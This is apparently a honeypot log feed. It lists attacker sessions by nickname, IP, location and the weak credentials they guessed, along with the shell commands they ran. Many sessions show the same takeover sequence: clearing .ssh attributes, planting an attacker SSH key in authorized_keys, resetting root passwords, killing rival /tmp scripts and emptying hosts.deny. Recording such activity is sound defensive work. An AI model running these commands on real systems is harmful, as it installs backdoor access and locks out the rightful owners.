$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 nocturnal_cipher_root_215 (186.147.162.215) — Cali, Colombia · 1 session · 2 cmds

2026-06-28 05:33 EDT · as oracle/zaq1@WSX

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 wired_burger_sol (141.11.88.12) — Crugers, United States · 27 sessions · 27 cmds

2026-06-28 00:11 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×27

🎭 venomous_dutch_sol (45.153.34.71) — Eygelshoven, The Netherlands · 31 sessions · 31 cmds

2026-06-27 21:09 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×31

🎭 lurking_lotus_root_57 (182.19.35.57) — Chennai, India · 24 sessions · 24 cmds

2026-06-27 12:55 EDT · as admin/123456, admin/admin, admin/password

echo (repeated echo 12x)

$ echo SHELL_TEST ×24

🎭 crimson_shogun (43.153.147.41) — Tokyo, Japan · 1 session · 1 cmd

2026-06-27 16:07 EDT · as test/test

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a

↳ OS/kernel identification

🎭 crimson_tulip_root (176.65.139.242) — Eygelshoven, The Netherlands · 12 sessions · 12 cmds

2026-06-27 15:33 EDT · as admin/password, deploy/deploy, docker/docker123

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×12

🎭 grumpy_toucan_root (170.239.108.21) — Jaboatão dos Guararapes, Brazil · 1 session · 1 cmd

2026-06-27 15:08 EDT · as root/1234

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a && echo "====" && cat /etc/os-release

🎭 ironclad_pretzel_root (212.132.120.41) — Berlin, Germany · 1 session · 19 cmds

2026-06-27 14:56 EDT · as root/admin

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo "root:Zpx2587Jv6iM"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 crimson_eagle_root (199.195.254.215) — New York, United States · 1 session · 19 cmds

2026-06-27 14:27 EDT · as root/admin

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo "root:79I0rNXoHjJz"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 placid_dutch_root (91.92.42.227) — Amsterdam, The Netherlands · 93 sessions · 93 cmds

2026-06-20 12:04 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×93

🎭 rusty_tulip_root (193.32.162.83) — Amsterdam, The Netherlands · 10 sessions · 10 cmds

2026-06-25 12:20 EDT · as mysql/mysql, mysql/mysql@123, oracle/oracle

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a ×10

↳ OS/kernel identification

🎭 brisk_naija_root (102.88.137.80) — Lagos, Nigeria · 2 sessions · 22 cmds

2026-06-18 14:53 EDT · as admin/admin, oracle/root123

cd ~; chattr -ia .ssh; lockr -ia .ssh → cd ~ && rm -rf .ssh && mkdir .ssh → echo "ssh-rsa..." → cat /proc/cpuinfo | grep name | wc -l → echo "admin\ndGicZAIKAuys..."|passwd|bash → Enter new UNIX password: → echo "admin\ndG

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "admin\ndGicZAIKAuys\ndGicZAIKAuys"|passwd|bash

$ Enter new UNIX password:

$ echo "admin\ndGicZAIKAuys\ndGicZAIKAuys\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 sullen_cactus_root (187.251.132.2) — Culiacán, Mexico · 2 sessions · 4 cmds

2026-06-27 03:55 EDT · as oracle/Oracle@2026

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2

↳ SSH key persistence

🎭 placid_neon_root_28 (14.136.93.28) — Kwai Chung, Hong Kong · 9 sessions · 9 cmds

2026-06-26 18:14 EDT · as admin/123456, admin/admin, admin/admin123

ls → hostname discovery → privilege check → OS/kernel identification → mount → netstat (repeated hostname discovery 3x)

$ ls -la /

$ hostname ×3

↳ hostname discovery

$ whoami

↳ privilege check

$ uname -a ×2

↳ OS/kernel identification

$ mount | head -5

$ netstat -tulpn | head -10

🎭 frantic_durian_root (188.166.183.133) — Singapore, Singapore · 2 sessions · 2 cmds

2026-06-26 09:54 EDT · as root/1234

hostname discovery → OS/kernel identification

$ hostname

↳ hostname discovery

$ uname -a

↳ OS/kernel identification

🎭 murky_bistro_root (51.68.226.87) — Roubaix, France · 1 session · 2 cmds

2026-06-27 03:57 EDT · as oracle/Oracle@2026

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 savage_liberty_root_150 (103.143.11.150) — Los Angeles, United States · 1 session · 2 cmds

2026-06-27 03:26 EDT · as oracle/Oracle@2026

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 baroque_hawker_root (152.42.240.74) — Singapore, Singapore · 1 session · 2 cmds

2026-06-27 03:23 EDT · as oracle/Oracle@2026

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 silent_chai_root_44 (31.42.125.44) — Delhi, India · 1 session · 1 cmd

2026-06-27 02:28 EDT · as root/password

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -m

🎭 hollow_acai_root (43.164.197.97) — São Paulo, Brazil · 1 session · 19 cmds

2026-06-27 00:55 EDT · as root/123456

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo "root:tulHeZV6pEWJ"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;

↳ execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 spectral_toucan_root (200.196.50.91) — Rio de Janeiro, Brazil · 2 sessions · 38 cmds

2026-06-13 16:03 EDT · as root/123456, root/admin

file attribute tampering → SSH key persistence → CPU profiling → execute from /tmp → persistence setup

$ cd ~; chattr -ia .ssh; lockr -ia .ssh ×2

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ×2

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l ×2

↳ CPU profiling

$ echo "root:XU8c81uWgV0k"|chpasswd|bash

$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep; ×2

↳ execute from /tmp

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ×2

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ×2

$ ls -lh $(which ls) ×2

$ which ls ×2

$ crontab -l ×2

↳ persistence setup

$ w ×2

↳ logged-in users check

$ uname -m ×2

$ cat /proc/cpuinfo | grep model | grep name | wc -l ×2

↳ CPU profiling

$ top ×2

↳ process monitoring

$ uname ×2

↳ OS identification

$ uname -a ×2

↳ OS/kernel identification

$ whoami ×2

↳ privilege check

$ lscpu | grep Model ×2

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' ×2

$ echo "root:WTp2MvGixO2m"|chpasswd|bash

🎭 drowsy_orchid_root (43.160.197.240) — Singapore, Singapore · 1 session · 2 cmds

2026-06-26 20:58 EDT · as oracle/oracle321

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 drowsy_volcano_root (163.227.52.50) — Gianyar, Indonesia · 1 session · 2 cmds

2026-06-26 18:55 EDT · as oracle/123qwe!@#

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 weary_seoul_root_237 (1.222.42.237) — Eunpyeong-gu, South Korea · 1 session · 2 cmds

2026-06-26 18:38 EDT · as oracle/123qwe!@#

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 rusty_silk_root (118.196.162.1) — Haidian, China · 1 session · 2 cmds

2026-06-26 18:34 EDT · as oracle/123qwe!@#

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 midnight_rogue_root (91.92.40.28) — Varna, Bulgaria · 27 sessions · 27 cmds

2026-06-26 16:48 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×27

🎭 aloof_rogue_root (41.86.34.139) — Victoria, Seychelles · 1 session · 2 cmds

2026-06-26 18:04 EDT · as oracle/123qwe!@#

file attribute tampering → SSH key persistence

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

🎭 glitchy_stroopwafel_root (176.65.139.114) — Eygelshoven, The Netherlands · 31 sessions · 31 cmds

2026-06-26 16:24 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 4x across 4 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×31

🎭 frantic_star_root (172.174.5.146) — Boydton, United States · 1 session · 20 cmds

2026-06-26 17:07 EDT · as user/password

file attribute tampering → SSH key persistence → CPU profiling

$ cd ~; chattr -ia .ssh; lockr -ia .ssh

↳ file attribute tampering

$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

↳ SSH key persistence

$ cat /proc/cpuinfo | grep name | wc -l

↳ CPU profiling

$ echo -e "password\nskpMO1x8iUhk\nskpMO1x8iUhk"|passwd|bash

$ Enter new UNIX password:

$ echo "password\nskpMO1x8iUhk\nskpMO1x8iUhk\n"|passwd

$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

↳ CPU profiling

$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'

$ ls -lh $(which ls)

$ which ls

$ crontab -l

↳ persistence setup

$ w

↳ logged-in users check

$ uname -m

$ cat /proc/cpuinfo | grep model | grep name | wc -l

↳ CPU profiling

$ top

↳ process monitoring

$ uname

↳ OS identification

$ uname -a

↳ OS/kernel identification

$ whoami

↳ privilege check

$ lscpu | grep Model

$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'

🎭 rusty_komodo_root (43.157.224.34) — Jakarta, Indonesia · 32 sessions · 32 cmds

2026-06-26 13:06 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×32

🎭 brisk_lantern_db (60.10.50.90) — Chengde, China · 2 sessions · 2 cmds

2026-06-12 18:53 EDT · as postgres/postgres

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a ×2

↳ OS/kernel identification

🎭 obsidian_windmill_root (176.65.132.22) — Eygelshoven, The Netherlands · 31 sessions · 31 cmds

2026-06-26 05:53 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 2x across 2 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×31

🎭 unhinged_windmill_root (176.65.139.105) — Eygelshoven, The Netherlands · 31 sessions · 31 cmds

2026-06-26 05:12 EDT · as admin/123456, admin/admin, admin/admin123

Ran uname 3x across 3 sessions — automated OS fingerprinting.

$ uname -s -v -n -r -m ×31

🎭 nocturnal_falcon_root (145.241.123.102) — Dubai, United Arab Emirates · 5 sessions · 5 cmds

2026-05-12 21:05 EDT · as postgres/postgres

Ran uname 1x across 1 sessions — automated OS fingerprinting.

$ uname -a ×5

↳ OS/kernel identification

